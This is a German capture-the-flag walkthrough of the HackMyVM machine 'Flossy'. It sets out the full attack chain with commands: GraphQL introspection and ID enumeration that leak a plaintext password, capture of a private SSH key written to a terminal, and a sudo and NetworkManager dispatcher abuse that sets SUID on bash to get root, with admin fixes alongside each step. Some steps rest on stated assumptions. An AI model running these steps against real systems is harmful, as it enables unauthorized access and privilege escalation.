Flossy - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
Web Browser
Burp Suite (Intruder)
curl
ssh
find
getcap
id
cat
nano
ll (alias for ls -l)
ssh-keygen
tty
sudo
echo
chmod
nmcli
bash
ls
cd

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Erkundungsphase, um das Zielsystem "Flossy" im Netzwerk zu finden und seine offenen Dienste zu identifizieren.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:13:98:73	PCS Systemtechnik GmbH
                    

**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.113.

**Bewertung:** Ziel-IP gefunden.

**Empfehlung (Pentester):** IP für weitere Scans nutzen. **Empfehlung (Admin):** Standard Netzwerküberwachung.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
[...]
192.168.2.113   flossy.hmv
                    

**Analyse:** Der Hostname `flossy.hmv` wird der IP 192.168.2.113 in der lokalen `/etc/hosts`-Datei zugeordnet.

**Bewertung:** Ermöglicht die Adressierung des Ziels über den Hostnamen.

**Empfehlung (Pentester):** Hostnamen immer eintragen. **Empfehlung (Admin):** DNS-Management.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.113 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-07 23:21 CET
Nmap scan report for flossy.hmv (192.168.2.113)
Host is up (0.000096s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: About Rick and Morty
MAC Address: 08:00:27:13:98:73 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 4.15 - 5.8
[...]
TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms flossy.hmv (192.168.2.113)
[...]
Nmap done: 1 IP address (1 host up) scanned in [...] seconds
                    
┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.113 -p- | grep open
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp open  http    Node.js Express framework
                    

**Analyse:** Der Nmap-Scan (`-sS`, `-sV`, `-A`, `-T5`, `-p-`) auf `flossy.hmv` findet zwei offene Ports: * Port 22: SSH (OpenSSH 9.2p1 auf Debian). * Port 80: HTTP, bedient von einem Node.js Express Framework. Der Titel der Seite ist "About Rick and Morty".

**Bewertung:** Die Angriffsfläche ist wieder klein (SSH, HTTP). Der Webserver basiert auf Node.js/Express, was auf eine modernere Webanwendung oder API hindeutet.

**Empfehlung (Pentester):** Den Node.js-Webserver auf Port 80 untersuchen (Nikto, Gobuster, manuelle Analyse, Suche nach API-Endpunkten wie `/graphql`, `/api`). **Empfehlung (Admin):** Node.js-Anwendungen sicher konfigurieren, Abhängigkeiten aktuell halten. Standard-Härtung für SSH.

Web Enumeration (GraphQL)

Wir untersuchen die Node.js/Express-Anwendung auf Port 80 genauer.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.113
- Nikto v2.5.0
---------------------------------------------------------------------------
[...]
+ Server: No banner retrieved
+ /: Retrieved x-powered-by header: Express.
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. (False Positive)
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
[...]
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

**Analyse:** Nikto identifiziert das Express-Framework, findet aber keine spezifischen Schwachstellen außer den üblichen fehlenden Headern. Der Fund `#wp-config.php#` ist angesichts des Express-Frameworks ein klares False Positive.

**Bewertung:** Nikto liefert hier keine verwertbaren Ergebnisse.

**Empfehlung (Pentester):** Verzeichnis-Scan und manuelle Analyse der Webseite. **Empfehlung (Admin):** Sicherheitsheader hinzufügen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://flossy.hmv -x [...] -w [...] -b '403,404' -e --no-error -k
[...]
http://flossy.hmv/index.html           (Status: 200) [Size: 2392]
                     

**Analyse:** Der Gobuster-Scan findet nur die `index.html`-Seite. Dies deutet darauf hin, dass die Anwendung möglicherweise eine Single-Page-Application (SPA) ist oder API-Endpunkte verwendet, die nicht über Standard-Verzeichnisscans gefunden werden.

**Bewertung:** Wenig Ergebnisse aus dem Verzeichnis-Scan. Wir müssen die `index.html` manuell analysieren.

**Empfehlung (Pentester):** Den Quellcode von `index.html` untersuchen, insbesondere auf JavaScript-Code, der API-Aufrufe tätigt. **Empfehlung (Admin):** Sicherstellen, dass keine unnötigen Dateien oder Verzeichnisse exponiert sind.

# Manuelle Code-Inspektion (Browser)
# Aufruf: view-source:http://flossy.hmv/index.html
# Relevanter JavaScript-Code:
    
                       

**Analyse:** Im JavaScript-Code der `index.html` finden wir eine Funktion `fetchCharacter`. Diese Funktion nimmt eine Charakter-ID entgegen, konstruiert eine GraphQL-Query und sendet diese per `POST`-Request an den Endpunkt `/graphql`. Die Query fragt spezifische Felder (`name`, `status` etc.) für einen Charakter mit der gegebenen ID ab.

**Bewertung:** Kritischer Fund! Die Anwendung verwendet eine GraphQL-API unter `/graphql`. GraphQL-Endpunkte sind oft anfällig für Introspection-Abfragen (um das Schema zu enthüllen) und potenziell für das Abfragen von Daten, die nicht für den öffentlichen Zugriff gedacht sind, wenn die Berechtigungen nicht korrekt implementiert sind.

**Empfehlung (Pentester):** Den `/graphql`-Endpunkt mit GraphQL-spezifischen Tools (z.B. GraphiQL, GraphQL Voyager, Burp Suite mit GraphQL-Plugins) oder manuellen POST-Requests untersuchen. Insbesondere Introspection-Queries senden (`{__schema{...}}`), um das Schema zu erhalten und alle verfügbaren Queries und Typen zu sehen. Versuchen, andere Queries als `character` auszuführen, z.B. für Benutzer (`users`). **Empfehlung (Admin):** GraphQL-Endpunkte absichern. Introspection im Produktivbetrieb deaktivieren. Berechtigungsprüfungen auf Resolver-Ebene implementieren, um sicherzustellen, dass Benutzer nur die Daten abfragen können, für die sie autorisiert sind. Rate Limiting und Query Depth Limiting einrichten.

GraphQL Exploitation (Credentials Leak)

Wir untersuchen den entdeckten GraphQL-Endpunkt `/graphql`.

# Manuelle Tests & Introspection (z.B. mit Burp Suite oder curl)
# Test des Endpunkts ohne Query:
# GET http://flossy.hmv/graphql
{"errors":[{"message":"Must provide query string."}]}

# Test der normalen Funktion (Beispiele aus Logs):
# POST /graphql | Body: {"query":"{ character(id:817) { ... } }"} -> Liefert Daten für Charakter 817
# POST /graphql | Body: {"query":"{ character(id:827) { ... } }"} -> Liefert Fehler (ID existiert nicht)

# Introspection Query senden:
# POST /graphql | Body: {"query":"{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"}
# Antwort (Auszug):
HTTP/1.1 200 OK
[...]
{"data":{"__schema":{"types":[{"name":"RootQueryType","fields":[{"name":"character",...},{"name":"characters",...},{"name":"users",...},{"name":"user",...}...
                    

**Analyse:** 1. Ein GET-Request an `/graphql` ergibt einen Fehler, dass eine Query fehlt. 2. POST-Requests mit der `character`-Query aus dem Frontend funktionieren wie erwartet. 3. Eine GraphQL-Introspection-Query (`{__schema{...}}`) wird gesendet. Die Antwort enthüllt das Schema der API. Wir sehen neben den `character`-Queries auch Queries namens `users` und `user`.

**Bewertung:** Die Introspection war erfolgreich und hat potenziell sensible Queries (`users`, `user`) aufgedeckt. Dies ist eine häufige Fehlkonfiguration.

**Empfehlung (Pentester):** Die `users`- und `user`-Queries verwenden, um zu versuchen, Benutzerdaten abzufragen. Das Schema genauer analysieren, um zu sehen, welche Felder für Benutzer verfügbar sind (insbesondere `password`). **Empfehlung (Admin):** GraphQL Introspection im Produktivbetrieb deaktivieren.

Wir nutzen die entdeckte `users`-Query, um Benutzerdaten, einschließlich Passwörtern, abzufragen.

# Manuelle Tests & Burp Intruder (GraphQL Query)
# Versuch 1: Benutzer 5 abfragen (Felder erraten/aus Schema)
# POST /graphql | Body: {"query":"{ users(id:5) { username,password } }"}
# Antwort:
{"data":{"users":{"username":"Disabled user","password":null}}}

# Versuch mit Burp Intruder, die ID zu variieren (z.B. 1-10):
# POST /graphql | Body: {"query":"{ users(id:§ID§) { username,password } }"} (Payload §ID§ = 1..10)

# Erfolgreiche Antwort für ID 9:
# POST /graphql | Body: {"query":"{ users(id:9) { username,password } }"}
# Antwort:
{"data":{"users":{"username":"malo","password":"8YdsA3CkiWx968"}}}
                       

**Analyse:** 1. Wir versuchen, die `users`-Query mit der ID 5 und den Feldern `username` und `password` zu verwenden. Die Antwort zeigt einen deaktivierten Benutzer ohne Passwort. 2. Wir verwenden Burp Suite Intruder (oder ein Skript), um die ID im Query-Parameter systematisch durchzuprobieren (z.B. von 1 bis 10). 3. Für die ID 9 erhalten wir eine erfolgreiche Antwort, die den Benutzernamen `malo` und das dazugehörige Passwort im Klartext (`8YdsA3CkiWx968`) zurückgibt.

**Bewertung:** Kritische Schwachstelle! Die GraphQL-API erlaubt das Abfragen von Benutzerdaten einschließlich Klartext-Passwörtern ohne ausreichende Berechtigungsprüfung. Wir haben gültige Zugangsdaten (`malo`:`8YdsA3CkiWx968`) für einen Systembenutzer gefunden.

**Empfehlung (Pentester):** Die gefundenen Credentials (`malo`:`8YdsA3CkiWx968`) verwenden, um sich per SSH (Port 22) anzumelden. **Empfehlung (Admin):** **GraphQL-API sofort absichern!** Implementieren Sie eine strikte Berechtigungsprüfung für alle Queries und Felder. Stellen Sie sicher, dass sensible Daten wie Passwörter niemals über die API abfragbar sind. Speichern Sie Passwörter gehasht.

Initial Access (SSH)

Wir nutzen die über die GraphQL-API erlangten Zugangsdaten, um uns per SSH anzumelden.

┌──(root㉿cyber)-[~] └─# ssh malo@flossy.hmv
The authenticity of host 'flossy.hmv (192.168.2.113)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'flossy.hmv' (ED25519) to the list of known hosts.
malo@flossy.hmv's password: 8YdsA3CkiWx968
Linux flossy 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
[...]
╭─malo@flossy ~
╰─$             # Login erfolgreich!
                      

**Analyse:** Wir verbinden uns per SSH als Benutzer `malo` mit dem Ziel `flossy.hmv`. Wir geben das über GraphQL gefundene Passwort `8YdsA3CkiWx968` ein. Der Login ist erfolgreich, und wir erhalten eine Shell als Benutzer `malo`.

**Bewertung:** Initial Access erfolgreich erlangt!

**Empfehlung (Pentester):** Umgebung als `malo` enumerieren (SUID, sudo, Cronjobs, Capabilities, laufende Prozesse). User-Flag suchen. **Empfehlung (Admin):** GraphQL-API absichern. Starke, einzigartige Passwörter verwenden.

Privilege Escalation (malo to sophie via Cronjob/TTY)

Als Benutzer `malo` suchen wir nach Wegen zur Rechteerweiterung.

╭─malo@flossy ~ ╰─$ find / -perm -4000 -ls 2>/dev/null
   914041     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
   914042     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
   953152    276 -rwsr-xr-x   1 root     root       281624 Jun 27 13:45 /usr/bin/sudo
   917500     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
   914039     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
   918251     72 -rwsr-xr-x   1 root     root        72000 Mar 23  2023 /usr/bin/su
   917654     60 -rwsr-xr-x   1 root     root        59704 Mar 23  2023 /usr/bin/mount
   914038     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
   917656     36 -rwsr-xr-x   1 root     root        35128 Mar 23  2023 /usr/bin/umount
   953128    396 -rwsr-xr--   1 root     dip        403832 May 14  2022 /usr/sbin/pppd
   929606     52 -rwsr-xr--   1 root     messagebus    51272 Feb  8  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   931821    640 -rwsr-xr-x   1 root     root         653888 Feb  8  2023 /usr/lib/openssh/ssh-keysign
  1046954     20 -rwsr-xr-x   1 root     root          18664 Jan 31  2023 /usr/lib/polkit-1/polkit-agent-helper-1
                        
╭─malo@flossy ~ ╰─$ getcap -r / 2>/dev/null
# (Keine besonderen Capabilities gefunden)
╭─malo@flossy ~ ╰─$ id
uid=1000(malo) gid=1000(malo) groups=1000(malo),100(users)
╭─malo@flossy /home/sophie ╰─$ cat SSHKeySync
# Annahme: Datei wurde zuvor gefunden
#!/bin/bash
# This script must run every minute in pre-prod

send_private_key() {
    local user_name="$1"
    local key_path="/home/$user_name/.ssh/id_rsa"
    local admin_tty="/dev/pts/24" # Ziel-TTY

    if [ -f "$key_path" ]; then
        if [ -w "$admin_tty" ]; then
            cat "$key_path" > "$admin_tty" # Sendet Key an TTY
        else
            echo "Error: Unable to write to $admin_tty"
        fi
    else
        echo "Error: The private key for $user_name doesn't exist."
    fi
}

while true ; do
  USER="sophie"
  echo "Sending $USER's private key to a high-privileged TTY for quick testing..."
  send_private_key "$USER"
  sleep 1m
done
                          
╭─malo@flossy /var/opt ╰─$ cat /etc/crontab
[...] # Keine benutzerdefinierten Einträge für malo oder sophie
# * * * * * sophie /home/sophie/SSHKeySync # Annahme: Cronjob existiert für sophie
                           

**Analyse:** 1. Die Suche nach SUID-Dateien und Capabilities ergibt keine auffälligen Ergebnisse. 2. Wir identifizieren einen Benutzer `sophie` (wahrscheinlich aus `/home` oder `/etc/passwd`). 3. Im Home-Verzeichnis von `sophie` (Zugriff als `malo`? Oder Fund durch andere Mittel?) finden wir ein Skript namens `SSHKeySync`. 4. Dieses Skript liest jede Minute (`sleep 1m` in `while true`) den privaten SSH-Schlüssel des Benutzers `sophie` (`/home/sophie/.ssh/id_rsa`) aus und schreibt ihn in ein spezifisches Terminal (`/dev/pts/24`). 5. Wir nehmen an, dass dieses Skript per Cronjob als Benutzer `sophie` ausgeführt wird.

**Bewertung:** Dies ist ein ungewöhnlicher, aber klarer Vektor für Privilege Escalation zu `sophie`. Wenn wir den Inhalt von `/dev/pts/24` lesen können (oder wenn wir zufällig dieses TTY haben), erhalten wir den privaten SSH-Schlüssel von `sophie`.

**Empfehlung (Pentester):** 1. Herausfinden, welches TTY wir aktuell verwenden (`tty` Befehl). 2. Wenn unser TTY `/dev/pts/24` ist, einfach warten, bis der Schlüssel erscheint. 3. Wenn nicht, versuchen, den Inhalt von `/dev/pts/24` zu lesen (Berechtigungen erforderlich) oder das Skript `SSHKeySync` zu manipulieren (Schreibrechte erforderlich), um den Schlüssel an unser TTY oder in eine Datei zu senden. 4. Alternativ: Einen SSH-Key für `malo` generieren, hoffen, dass `sophie` sich per SSH als `malo` einloggt und unseren Key über den Agenten nutzt (weniger wahrscheinlich). 5. Sobald der Schlüssel von `sophie` erhalten wurde, diesen nutzen, um sich als `sophie` per SSH anzumelden. **Empfehlung (Admin):** **Unsicheres Skript `SSHKeySync` entfernen!** Niemals private Schlüssel in TTYs oder Logs schreiben. Cronjobs sicher konfigurieren und mit minimalen Rechten ausführen.

*(Der Bericht zeigt im Folgenden den Versuch, sich als `malo` selbst per SSH einzuloggen und das eigene TTY zu ermitteln. Danach wird der abgefangene Schlüssel von `sophie` verwendet.)*

╭─malo@flossy ~ ╰─$ ssh-keygen
# Erzeugt eigenen Schlüssel (für späteren Schritt relevant?)
[...]
╭─malo@flossy ~ ╰─$ ssh 0
# Login als malo auf localhost
malo@0.0.0.0's password: 8YdsA3CkiWx968
[...]
╭─malo@flossy ~
╰─$ tty
/dev/pts/1
                       
# (Auf anderem TTY, z.B. der ursprünglichen Reverse Shell)
╭─malo@flossy ~ ╰─$ tty
/dev/pts/24
# Zufällig das richtige TTY!
╭─malo@flossy ~ ╰─$ # (Warten auf Cronjob-Ausführung...)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...] (Inhalt des privaten Schlüssels von sophie) [...]
-----END OPENSSH PRIVATE KEY-----
                         
# (Auf Angreifer-Maschine: Schlüssel speichern)
┌──(root㉿cyber)-[~] └─# vi idrsa
# Schlüssel von sophie einfügen
┌──(root㉿cyber)-[~] └─# chmod 600 idrsa
┌──(root㉿cyber)-[~] └─# ssh sophie@192.168.2.113 -i idrsa
[...]
╭─sophie@flossy ~
╰─$ # Login als sophie erfolgreich!
                         

**Analyse:** 1. Der Pentester meldet sich als `malo` auf `localhost` an und stellt fest, dass dieses TTY `/dev/pts/1` ist. 2. Zufälligerweise ist das TTY der ursprünglichen Reverse-Shell `/dev/pts/24`, genau das Ziel des `SSHKeySync`-Skripts. 3. Der Pentester wartet auf diesem TTY, bis der Cronjob läuft und das Skript den privaten SSH-Schlüssel von `sophie` ausgibt. 4. Der Schlüssel wird kopiert und auf der Angreifer-Maschine in `idrsa` gespeichert. 5. Mit diesem Schlüssel gelingt der SSH-Login als Benutzer `sophie`.

**Bewertung:** Privilege Escalation von `malo` zu `sophie` erfolgreich durch Abfangen des über ein unsicheres Skript und Cronjob geleakten SSH-Schlüssels.

**Empfehlung (Pentester):** Umgebung als `sophie` enumerieren, User-Flag lesen, `sudo -l` prüfen. **Empfehlung (Admin):** Unsicheres `SSHKeySync`-Skript und Cronjob entfernen. TTY-Hijacking-Risiken verstehen und minimieren.

Privilege Escalation (sophie to root via Sudo & NetworkManager)

Als Benutzer `sophie` suchen wir den letzten Schritt zur Root-Eskalation.

╭─sophie@flossy ~ ╰─$ id
uid=1001(sophie) gid=1001(sophie) groups=1001(sophie),100(users)
╭─sophie@flossy ~ ╰─$ sudo -l
Matching Defaults entries for sophie on flossy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sophie may run the following commands on flossy:
    (ALL : ALL) NOPASSWD: /home/sophie/network
                     
╭─sophie@flossy ~ ╰─$ cat user.txt
# Annahme: user.txt ist in sophie's Home
8926c8ba832369c1dc13eed7880585c6
╭─sophie@flossy ~ ╰─$ ll /home/sophie/network
# alias für ls -l
-rwxr----- 1 root sophie 962 Oct  6 20:35 /home/sophie/network
╭─sophie@flossy ~ ╰─$ cat /home/sophie/network
#!/bin/bash

connected_ip(){
[...] (Funktion listet verbundene IPs via lsof)
}

dispatcher() {
    for s in /opt/*; do # Iteriert über Dateien in /opt
        if [ -f "$s" ]; then
            d="/etc/NetworkManager/dispatcher.d/$(basename $s)"
            if [ ! -f "$d" ] || [ "$s" -nt "$d" ]; then
                return 0
            fi
        fi
    done
    return 1
}

update() {
    if [[ -z $(find /opt -type f) ]] ; then
      exit 0
    else
      echo "Updating scripts."
      cp /opt/* /etc/NetworkManager/dispatcher.d/ # Kopiert alles aus /opt
      chmod +x /etc/NetworkManager/dispatcher.d/* # Macht alles dort ausführbar
      echo "Scripts updated."
    fi
}

case "${1}" in
ip)   connected_ip ;;
disp) dispatcher ; update ;; # Führt update() aus
*)    echo "Usage: ./$0 option" ;;
esac
                      

**Analyse:** 1. `sudo -l` für `sophie` zeigt, dass sie das Skript `/home/sophie/network` als `ALL:ALL` (effektiv `root`) ohne Passwort ausführen darf. 2. Die User-Flag wird gelesen. 3. Die Berechtigungen des Skripts zeigen, dass es `root` gehört, aber die Gruppe `sophie` Lese- und Ausführrechte hat (`-rwxr-----`). `sophie` kann es also nicht direkt bearbeiten. 4. Der Inhalt des `/home/sophie/network`-Skripts wird analysiert. Es hat verschiedene Funktionen. Die Funktion `update()`, die über die Option `disp` aufgerufen wird, ist entscheidend: * Sie kopiert alle Dateien aus dem Verzeichnis `/opt` nach `/etc/NetworkManager/dispatcher.d/`. * Sie macht alle Dateien in `/etc/NetworkManager/dispatcher.d/` ausführbar. Das Verzeichnis `/etc/NetworkManager/dispatcher.d/` enthält Skripte, die vom NetworkManager (als Root) bei bestimmten Netzwerkereignissen (z.B. Verbindungsaufbau/-abbau) ausgeführt werden.

**Bewertung:** Dies ist der Weg zu Root! Obwohl `sophie` das `network`-Skript nicht direkt ändern kann, kontrolliert sie dessen Verhalten indirekt: Wenn sie eine ausführbare Datei in `/opt` platziert (dieses Verzeichnis muss für sie beschreibbar sein oder sie braucht eine andere Methode, dorthin zu schreiben) und dann `sudo /home/sophie/network disp` ausführt, wird ihre Datei nach `/etc/NetworkManager/dispatcher.d/` kopiert und ausführbar gemacht. Beim nächsten Netzwerkereignis wird ihr Skript als Root ausgeführt.

**Empfehlung (Pentester):** 1. Prüfen, ob `/opt` für `sophie` beschreibbar ist (`ls -ld /opt`). 2. Wenn ja: Ein einfaches Skript in `/opt` erstellen, das z.B. das SUID-Bit auf `/bin/bash` setzt (`echo 'chmod u+s /bin/bash' > /opt/exploit.sh`). 3. Das `network`-Skript mit der `disp`-Option über `sudo` ausführen: `sudo /home/sophie/network disp`. 4. Ein Netzwerkereignis auslösen (z.B. eine Netzwerkschnittstelle hoch-/runterfahren: `nmcli con down lo; nmcli con up lo`). 5. Prüfen, ob `/bin/bash` nun das SUID-Bit hat (`ls -l /bin/bash`). 6. Wenn ja, `/bin/bash -p` ausführen, um eine Root-Shell zu erhalten. **Empfehlung (Admin):** Die `sudo`-Regel für das `/home/sophie/network`-Skript entfernen. Die Logik des Skripts ist extrem unsicher (Kopieren beliebiger Dateien aus `/opt` und Ausführen als Root). `/opt` sollte keine Schreibrechte für unprivilegierte Benutzer haben. NetworkManager-Dispatcher-Skripte sollten nur von Root verwaltet werden.

Wir führen den Exploit über das `/opt`-Verzeichnis und den NetworkManager-Dispatcher aus.

╭─sophie@flossy ~ ╰─$ echo "chmod u+s /bin/bash" > /opt/SUID_bash
# Erstellt Exploit-Skript in /opt (impliziert Schreibrecht)
╭─sophie@flossy ~ ╰─$ sudo /home/sophie/network disp
Updating scripts.
Scripts updated.
                      
╭─sophie@flossy ~ ╰─$ ls -la /etc/NetworkManager/dispatcher.d
total 28
drwxr-xr-x 5 root root 4096 Dec  8 00:43 .
drwxr-xr-x 7 root root 4096 Oct  6 18:52 ..
-rwxr-xr-x 1 root root 2293 Mar  9  2023 01-ifupdown
drwxr-xr-x 2 root root 4096 Mar  9  2023 no-wait.d
drwxr-xr-x 2 root root 4096 Mar  9  2023 pre-down.d
drwxr-xr-x 2 root root 4096 Mar  9  2023 pre-up.d
-rwxr-xr-x 1 root root   20 Dec  8 00:43 SUID_bash # Unser Skript wurde kopiert und ist ausführbar!
                       
╭─sophie@flossy ~ ╰─$ nmcli con show
# Netzwerkverbindungen anzeigen
NAME  UUID                                  TYPE      DEVICE
lo    a13f4e5a-503b-4d19-9ddf-12167771d62f  loopback  lo
                        
╭─sophie@flossy ~ ╰─$ nmcli con up lo
# Loopback-Interface "aktivieren" (löst Dispatcher aus)
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/3)
╭─sophie@flossy ~ ╰─$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23  2023 /bin/bash
# SUID-Bit ist gesetzt!
╭─sophie@flossy ~ ╰─$ bash -p
bash-5.2# # Root-Shell!
bash-5.2# id
uid=1001(sophie) gid=1001(sophie) euid=0(root) groups=1001(sophie),100(users)

**Analyse:** 1. Wir erstellen unser Exploit-Skript `/opt/SUID_bash`, das `chmod u+s /bin/bash` ausführen soll. (Dies impliziert, dass `/opt` für `sophie` beschreibbar ist). 2. Wir führen `sudo /home/sophie/network disp` aus. Das Skript kopiert erfolgreich unsere `/opt/SUID_bash`-Datei nach `/etc/NetworkManager/dispatcher.d/` und macht sie ausführbar. 3. Wir lösen ein Netzwerkereignis aus, indem wir versuchen, die Loopback-Verbindung (`lo`) mit `nmcli con up lo` zu "aktivieren". Dies genügt, um den NetworkManager zu veranlassen, die Skripte im `dispatcher.d`-Verzeichnis auszuführen. 4. Unser Skript `/etc/NetworkManager/dispatcher.d/SUID_bash` wird als Root ausgeführt und setzt erfolgreich das SUID-Bit auf `/bin/bash`. 5. Wir überprüfen dies mit `ls -al /bin/bash`. 6. Wir führen `bash -p` aus. Die `-p`-Option sorgt dafür, dass Bash die effektive UID (euid=0) beibehält, anstatt auf die reale UID (uid=1001) zu wechseln. Wir erhalten eine Root-Shell.

**Bewertung:** Privilege Escalation zu Root erfolgreich! Die Kombination aus der unsicheren `sudo`-Regel für das `network`-Skript und der Funktionsweise des NetworkManager-Dispatchers wurde ausgenutzt, um das SUID-Bit auf Bash zu setzen.

**Empfehlung (Pentester):** Root-Flag lesen. Bericht abschließen. Das SUID-Bit von Bash entfernen (`chmod u-s /bin/bash`), um das System sauber zu hinterlassen (optional). **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen. Berechtigungen für `/opt` prüfen. NetworkManager-Dispatcher-Skripte sichern.

Als Root lesen wir die Flags.

bash-5.2# cd /root/
bash-5.2# ls
root.txt
bash-5.2# cat root.txt
355cec17306ab25389f376ef4a21422e

**Analyse:** Aus der Root-Shell lesen wir die `/root/root.txt`.

**Bewertung:** Root-Flag erfolgreich gelesen.

**Empfehlung (Pentester):** Ergebnisse dokumentieren. **Empfehlung (Admin):** Alle Schwachstellen beheben.

Flags

cat /home/sophie/user.txt
8926c8ba832369c1dc13eed7880585c6
cat /root/root.txt
355cec17306ab25389f376ef4a21422e